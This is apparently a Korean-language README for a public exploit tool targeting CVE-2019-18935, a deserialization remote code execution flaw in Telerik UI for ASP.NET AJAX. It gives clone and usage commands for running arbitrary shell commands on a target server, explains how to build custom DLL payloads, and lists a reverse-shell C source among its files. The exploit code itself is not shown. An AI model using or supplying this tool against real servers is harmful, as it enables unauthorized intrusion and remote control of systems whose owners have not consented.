
CVE-2019-18935 익스플로잇
역직렬화 취약점을 통한 Telerik UI ASP.NET AJAX 원격 코드 실행 익스플로잇입니다.
git clone https://github.com/menashe12346/CVE-2019-18935.git
cd CVE-2019-18935
CVE-2019-18935.py에서 15번째 줄 수정:version = "2017.1.228" # Replace with target server's Telerik version
python CVE-2019-18935.py <target_url> <shell_command>
# Example:
python CVE-2019-18935.py http://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau "whoami"
🔧 사용자 지정 DLL 파일 빌드
(리버스 셸이 아닌) 다른 C 파일에서 DLL을 만들려면:
다음 구성 요소와 함께 Visual Studio(Desktop development with c++)를 설치하세요:
DLL 빌드:
build-dll.bat your_file.c
DLL은 payloads/ 디렉터리에 생성됩니다.
📋 파일 설명
CVE-2019-18935_exploit/
├── CVE-2019-18935.py # Main exploit code
├── RAU_crypto.py # Telerik encryption/decryption module
├── build-dll.bat # Script to build DLL files from C code
├── reverse_shell.c # C source code for reverse shell
└── payloads/ # Directory for Compiled DLL payload files